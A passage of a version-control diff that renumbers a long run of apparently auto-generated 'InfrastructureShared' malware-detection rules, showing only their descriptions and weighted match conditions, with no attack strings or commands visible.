00 07 00 07 00 21 " @@ -359382,7 +382049,7 @@ rule _InfrastructureShared_27566{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25968+(#a_01_2 & 1)*29477+(#a_01_3 & 1)*29477+(#a_01_4 & 1)*24938+(#a_01_5 & 1)*25608+(#a_01_6 & 1)*26966) >=7 } -rule _InfrastructureShared_27567{ +rule _InfrastructureShared_29305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -359397,7 +382064,7 @@ rule _InfrastructureShared_27567{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25959+(#a_01_2 & 1)*26990+(#a_01_3 & 1)*27740+(#a_01_4 & 1)*8448+(#a_01_5 & 1)*25966) >=15 } -rule _InfrastructureShared_27568{ +rule _InfrastructureShared_29306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -359411,7 +382078,7 @@ rule _InfrastructureShared_27568{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27000+(#a_01_2 & 1)*28503+(#a_01_3 & 1)*25976+(#a_01_5 & 1)*1) >=15 } -rule _InfrastructureShared_27569{ +rule _InfrastructureShared_29307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -359423,7 +382090,7 @@ rule _InfrastructureShared_27569{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30812+(#a_01_2 & 1)*22319) >=30 } -rule _InfrastructureShared_27570{ +rule _InfrastructureShared_29308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 05 00 21 " @@ -359436,7 +382103,7 @@ rule _InfrastructureShared_27570{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*17177+(#a_01_3 & 1)*-955+(#a_01_4 & 1)*-1979) >=100 } -rule _InfrastructureShared_27571{ +rule _InfrastructureShared_29309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359446,7 +382113,7 @@ rule _InfrastructureShared_27571{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27572{ +rule _InfrastructureShared_29310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -359456,7 +382123,7 @@ rule _InfrastructureShared_27572{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27573{ +rule _InfrastructureShared_29311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -359468,7 +382135,7 @@ rule _InfrastructureShared_27573{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24942+(#a_01_2 & 1)*28277) >=2 } -rule _InfrastructureShared_27574{ +rule _InfrastructureShared_29312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -359480,7 +382147,7 @@ rule _InfrastructureShared_27574{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0) >=2 } -rule _InfrastructureShared_27575{ +rule _InfrastructureShared_29313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359492,7 +382159,7 @@ rule _InfrastructureShared_27575{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*6144+(#a_01_2 & 1)*13166) >=3 } -rule _InfrastructureShared_27576{ +rule _InfrastructureShared_29314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -359505,7 +382172,7 @@ rule _InfrastructureShared_27576{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26744+(#a_01_2 & 1)*30580+(#a_01_3 & 1)*17967) >=3 } -rule _InfrastructureShared_27577{ +rule _InfrastructureShared_29315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -359517,7 +382184,7 @@ rule _InfrastructureShared_27577{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*101+(#a_01_3 & 1)*4) >=4 } -rule _InfrastructureShared_27578{ +rule _InfrastructureShared_29316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -359530,7 +382197,7 @@ rule _InfrastructureShared_27578{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28520+(#a_01_2 & 1)*28277+(#a_01_3 & 1)*17508) >=4 } -rule _InfrastructureShared_27579{ +rule _InfrastructureShared_29317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -359546,7 +382213,7 @@ rule _InfrastructureShared_27579{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*27765+(#a_01_2 & 1)*10+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_27580{ +rule _InfrastructureShared_29318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 05 00 21 " @@ -359559,7 +382226,7 @@ rule _InfrastructureShared_27580{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*23312+(#a_01_3 & 1)*25376+(#a_01_4 & 1)*25964) >=12 } -rule _InfrastructureShared_27581{ +rule _InfrastructureShared_29319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359569,7 +382236,7 @@ rule _InfrastructureShared_27581{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27582{ +rule _InfrastructureShared_29320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -359580,7 +382247,7 @@ rule _InfrastructureShared_27582{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*27491) >=1 } -rule _InfrastructureShared_27583{ +rule _InfrastructureShared_29321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 05 00 21 " @@ -359593,7 +382260,7 @@ rule _InfrastructureShared_27583{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22120+(#a_01_2 & 1)*4331+(#a_01_4 & 1)*15104) >=1 } -rule _InfrastructureShared_27584{ +rule _InfrastructureShared_29322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359604,7 +382271,7 @@ rule _InfrastructureShared_27584{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-18929) >=3 } -rule _InfrastructureShared_27585{ +rule _InfrastructureShared_29323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -359615,7 +382282,7 @@ rule _InfrastructureShared_27585{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*17681) >=4 } -rule _InfrastructureShared_27586{ +rule _InfrastructureShared_29324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -359628,7 +382295,7 @@ rule _InfrastructureShared_27586{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16741+(#a_01_2 & 1)*20526+(#a_01_3 & 1)*30035) >=4 } -rule _InfrastructureShared_27587{ +rule _InfrastructureShared_29325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -359643,7 +382310,7 @@ rule _InfrastructureShared_27587{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26994+(#a_01_2 & 1)*27182+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_27588{ +rule _InfrastructureShared_29326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 05 00 21 " @@ -359657,7 +382324,7 @@ rule _InfrastructureShared_27588{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*29555+(#a_01_2 & 1)*28793+(#a_01_3 & 1)*25961+(#a_01_4 & 1)*20538) >=7 } -rule _InfrastructureShared_27589{ +rule _InfrastructureShared_29327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -359670,7 +382337,7 @@ rule _InfrastructureShared_27589{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*11786+(#a_01_3 & 1)*18786+(#a_01_6 & 1)*24832) >=7 } -rule _InfrastructureShared_27590{ +rule _InfrastructureShared_29328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -359681,7 +382348,7 @@ rule _InfrastructureShared_27590{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*101) >=10 } -rule _InfrastructureShared_27591{ +rule _InfrastructureShared_29329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -359693,7 +382360,7 @@ rule _InfrastructureShared_27591{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*103+(#a_01_3 & 1)*22081) >=30 } -rule _InfrastructureShared_27592{ +rule _InfrastructureShared_29330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -359705,7 +382372,7 @@ rule _InfrastructureShared_27592{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*18036+(#a_01_3 & 1)*111) >=30 } -rule _InfrastructureShared_27593{ +rule _InfrastructureShared_29331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359715,7 +382382,7 @@ rule _InfrastructureShared_27593{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27594{ +rule _InfrastructureShared_29332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359725,7 +382392,7 @@ rule _InfrastructureShared_27594{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27595{ +rule _InfrastructureShared_29333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -359736,7 +382403,7 @@ rule _InfrastructureShared_27595{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*73) >=1 } -rule _InfrastructureShared_27596{ +rule _InfrastructureShared_29334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -359748,7 +382415,7 @@ rule _InfrastructureShared_27596{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*20596+(#a_01_2 & 1)*16727) >=3 } -rule _InfrastructureShared_27597{ +rule _InfrastructureShared_29335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -359761,7 +382428,7 @@ rule _InfrastructureShared_27597{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25938+(#a_01_2 & 1)*25705+(#a_01_3 & 1)*22330) >=4 } -rule _InfrastructureShared_27598{ +rule _InfrastructureShared_29336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -359775,7 +382442,7 @@ rule _InfrastructureShared_27598{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28787+(#a_01_2 & 1)*26723+(#a_01_3 & 1)*26478+(#a_01_4 & 1)*28483) >=5 } -rule _InfrastructureShared_27599{ +rule _InfrastructureShared_29337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -359791,7 +382458,7 @@ rule _InfrastructureShared_27599{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*26479+(#a_01_2 & 1)*20499+(#a_01_3 & 1)*25938+(#a_01_4 & 1)*11817+(#a_01_5 & 1)*27247+(#a_01_6 & 1)*-31553) >=7 } -rule _InfrastructureShared_27600{ +rule _InfrastructureShared_29338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 04 00 21 " @@ -359803,7 +382470,7 @@ rule _InfrastructureShared_27600{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*21006+(#a_01_3 & 1)*29549) >=20 } -rule _InfrastructureShared_27601{ +rule _InfrastructureShared_29339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359813,7 +382480,7 @@ rule _InfrastructureShared_27601{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_27602{ +rule _InfrastructureShared_29340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359823,7 +382490,7 @@ rule _InfrastructureShared_27602{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27603{ +rule _InfrastructureShared_29341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -359835,7 +382502,7 @@ rule _InfrastructureShared_27603{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*112+(#a_01_2 & 1)*26439) >=2 } -rule _InfrastructureShared_27604{ +rule _InfrastructureShared_29342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359847,7 +382514,7 @@ rule _InfrastructureShared_27604{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_01_2 & 1)*25974) >=3 } -rule _InfrastructureShared_27605{ +rule _InfrastructureShared_29343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359858,7 +382525,7 @@ rule _InfrastructureShared_27605{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*9843) >=3 } -rule _InfrastructureShared_27606{ +rule _InfrastructureShared_29344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359870,7 +382537,7 @@ rule _InfrastructureShared_27606{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*27756) >=3 } -rule _InfrastructureShared_27607{ +rule _InfrastructureShared_29345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359882,7 +382549,7 @@ rule _InfrastructureShared_27607{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*29216+(#a_01_2 & 1)*24939) >=3 } -rule _InfrastructureShared_27608{ +rule _InfrastructureShared_29346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359894,7 +382561,7 @@ rule _InfrastructureShared_27608{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24940+(#a_01_2 & 1)*2) >=3 } -rule _InfrastructureShared_27609{ +rule _InfrastructureShared_29347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -359905,7 +382572,7 @@ rule _InfrastructureShared_27609{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29255) >=6 } -rule _InfrastructureShared_27610{ +rule _InfrastructureShared_29348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 06 00 21 " @@ -359919,7 +382586,7 @@ rule _InfrastructureShared_27610{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*86+(#a_01_3 & 1)*99+(#a_01_4 & 1)*8250+(#a_01_5 & 1)*42) >=12 } -rule _InfrastructureShared_27611{ +rule _InfrastructureShared_29349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,ffffffd2 00 ffffffd2 00 03 00 21 " @@ -359930,7 +382597,7 @@ rule _InfrastructureShared_27611{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*110) >=210 } -rule _InfrastructureShared_27612{ +rule _InfrastructureShared_29350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359940,7 +382607,7 @@ rule _InfrastructureShared_27612{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27613{ +rule _InfrastructureShared_29351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359950,7 +382617,7 @@ rule _InfrastructureShared_27613{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27614{ +rule _InfrastructureShared_29352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -359961,7 +382628,7 @@ rule _InfrastructureShared_27614{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29545) >=1 } -rule _InfrastructureShared_27615{ +rule _InfrastructureShared_29353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -359974,7 +382641,7 @@ rule _InfrastructureShared_27615{ ((#a_01_0 & 1)*22307+(#a_01_2 & 1)*114+(#a_01_3 & 1)*29811+(#a_01_4 & 1)*3930) >=5 } -rule _InfrastructureShared_27616{ +rule _InfrastructureShared_29354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -359986,7 +382653,7 @@ rule _InfrastructureShared_27616{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*5888+(#a_01_2 & 1)*29811) >=6 } -rule _InfrastructureShared_27617{ +rule _InfrastructureShared_29355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 09 00 21 " @@ -360002,7 +382669,7 @@ rule _InfrastructureShared_27617{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*17425+(#a_01_3 & 1)*98+(#a_01_4 & 1)*28524+(#a_01_6 & 1)*12048+(#a_01_7 & 1)*27748+(#a_01_8 & 1)*8448) >=7 } -rule _InfrastructureShared_27618{ +rule _InfrastructureShared_29356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 03 00 21 " @@ -360013,7 +382680,7 @@ rule _InfrastructureShared_27618{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*101) >=11 } -rule _InfrastructureShared_27619{ +rule _InfrastructureShared_29357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 03 00 21 " @@ -360025,7 +382692,7 @@ rule _InfrastructureShared_27619{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*8225+(#a_01_2 & 1)*21587) >=11 } -rule _InfrastructureShared_27620{ +rule _InfrastructureShared_29358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 05 00 21 " @@ -360039,7 +382706,7 @@ rule _InfrastructureShared_27620{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25185+(#a_01_2 & 1)*29295+(#a_01_3 & 1)*25720+(#a_01_4 & 1)*24832) >=12 } -rule _InfrastructureShared_27621{ +rule _InfrastructureShared_29359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 05 00 21 " @@ -360052,7 +382719,7 @@ rule _InfrastructureShared_27621{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8300+(#a_01_2 & 1)*30821+(#a_01_3 & 1)*30821) >=21 } -rule _InfrastructureShared_27622{ +rule _InfrastructureShared_29360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " @@ -360066,7 +382733,7 @@ rule _InfrastructureShared_27622{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26994+(#a_01_2 & 1)*6+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=40 } -rule _InfrastructureShared_27623{ +rule _InfrastructureShared_29361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -360076,7 +382743,7 @@ rule _InfrastructureShared_27623{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27624{ +rule _InfrastructureShared_29362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -360086,7 +382753,7 @@ rule _InfrastructureShared_27624{ ((#a_01_0 & 1)*19235) >=1 } -rule _InfrastructureShared_27625{ +rule _InfrastructureShared_29363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360098,7 +382765,7 @@ rule _InfrastructureShared_27625{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*24877+(#a_01_2 & 1)*27493) >=3 } -rule _InfrastructureShared_27626{ +rule _InfrastructureShared_29364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360110,7 +382777,7 @@ rule _InfrastructureShared_27626{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21334+(#a_01_2 & 1)*32070) >=3 } -rule _InfrastructureShared_27627{ +rule _InfrastructureShared_29365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360122,7 +382789,7 @@ rule _InfrastructureShared_27627{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*114+(#a_01_2 & 1)*16687) >=3 } -rule _InfrastructureShared_27628{ +rule _InfrastructureShared_29366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -360135,7 +382802,7 @@ rule _InfrastructureShared_27628{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*13106+(#a_01_2 & 1)*3840+(#a_01_3 & 1)*24933) >=3 } -rule _InfrastructureShared_27629{ +rule _InfrastructureShared_29367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -360147,7 +382814,7 @@ rule _InfrastructureShared_27629{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*84+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_27630{ +rule _InfrastructureShared_29368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -360161,7 +382828,7 @@ rule _InfrastructureShared_27630{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*25959) >=4 } -rule _InfrastructureShared_27631{ +rule _InfrastructureShared_29369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 08 00 21 " @@ -360177,7 +382844,7 @@ rule _InfrastructureShared_27631{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*17418+(#a_01_2 & 1)*2560+(#a_01_3 & 1)*24948+(#a_01_5 & 1)*112+(#a_01_6 & 1)*5+(#a_01_7 & 1)*5) >=6 } -rule _InfrastructureShared_27632{ +rule _InfrastructureShared_29370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -360193,7 +382860,7 @@ rule _InfrastructureShared_27632{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0+(#a_01_7 & 1)*32) >=8 } -rule _InfrastructureShared_27633{ +rule _InfrastructureShared_29371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -360204,7 +382871,7 @@ rule _InfrastructureShared_27633{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*32) >=30 } -rule _InfrastructureShared_27634{ +rule _InfrastructureShared_29372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 09 00 21 " @@ -360221,7 +382888,7 @@ rule _InfrastructureShared_27634{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*16650+(#a_01_3 & 1)*27022+(#a_01_4 & 1)*2+(#a_01_5 & 1)*105+(#a_01_6 & 1)*3+(#a_01_7 & 1)*8993+(#a_01_8 & 1)*101) >=30 } -rule _InfrastructureShared_27635{ +rule _InfrastructureShared_29373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -360231,7 +382898,7 @@ rule _InfrastructureShared_27635{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27636{ +rule _InfrastructureShared_29374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -360241,7 +382908,7 @@ rule _InfrastructureShared_27636{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27637{ +rule _InfrastructureShared_29375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360252,7 +382919,7 @@ rule _InfrastructureShared_27637{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*76) >=3 } -rule _InfrastructureShared_27638{ +rule _InfrastructureShared_29376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360264,7 +382931,7 @@ rule _InfrastructureShared_27638{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29798+(#a_01_2 & 1)*28257) >=3 } -rule _InfrastructureShared_27639{ +rule _InfrastructureShared_29377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 04 00 21 " @@ -360276,7 +382943,7 @@ rule _InfrastructureShared_27639{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*101+(#a_01_3 & 1)*19804) >=6 } -rule _InfrastructureShared_27640{ +rule _InfrastructureShared_29378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 04 00 21 " @@ -360289,7 +382956,7 @@ rule _InfrastructureShared_27640{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29295+(#a_01_2 & 1)*5993+(#a_01_3 & 1)*10) >=13 } -rule _InfrastructureShared_27641{ +rule _InfrastructureShared_29379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 05 00 21 " @@ -360301,7 +382968,7 @@ rule _InfrastructureShared_27641{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*16905+(#a_01_3 & 1)*1792) >=14 } -rule _InfrastructureShared_27642{ +rule _InfrastructureShared_29380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -360316,7 +382983,7 @@ rule _InfrastructureShared_27642{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24933+(#a_01_2 & 1)*97+(#a_01_5 & 1)*108+(#a_01_6 & 1)*101+(#a_01_7 & 1)*24940) >=17 } -rule _InfrastructureShared_27643{ +rule _InfrastructureShared_29381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -360327,7 +382994,7 @@ rule _InfrastructureShared_27643{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*109) >=30 } -rule _InfrastructureShared_27644{ +rule _InfrastructureShared_29382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -360339,7 +383006,7 @@ rule _InfrastructureShared_27644{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*29551+(#a_01_3 & 1)*32) >=30 } -rule _InfrastructureShared_27645{ +rule _InfrastructureShared_29383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -360352,7 +383019,7 @@ rule _InfrastructureShared_27645{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*26967+(#a_01_2 & 1)*25449+(#a_01_3 & 1)*19778) >=30 } -rule _InfrastructureShared_27646{ +rule _InfrastructureShared_29384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -360365,7 +383032,7 @@ rule _InfrastructureShared_27646{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*0) >=30 } -rule _InfrastructureShared_27647{ +rule _InfrastructureShared_29385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -360378,7 +383045,7 @@ rule _InfrastructureShared_27647{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*24931+(#a_01_3 & 1)*117+(#a_01_4 & 1)*19777) >=30 } -rule _InfrastructureShared_27648{ +rule _InfrastructureShared_29386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -360390,7 +383057,7 @@ rule _InfrastructureShared_27648{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*46+(#a_01_2 & 1)*29807) >=1 } -rule _InfrastructureShared_27649{ +rule _InfrastructureShared_29387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360401,7 +383068,7 @@ rule _InfrastructureShared_27649{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21015) >=3 } -rule _InfrastructureShared_27650{ +rule _InfrastructureShared_29388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360413,7 +383080,7 @@ rule 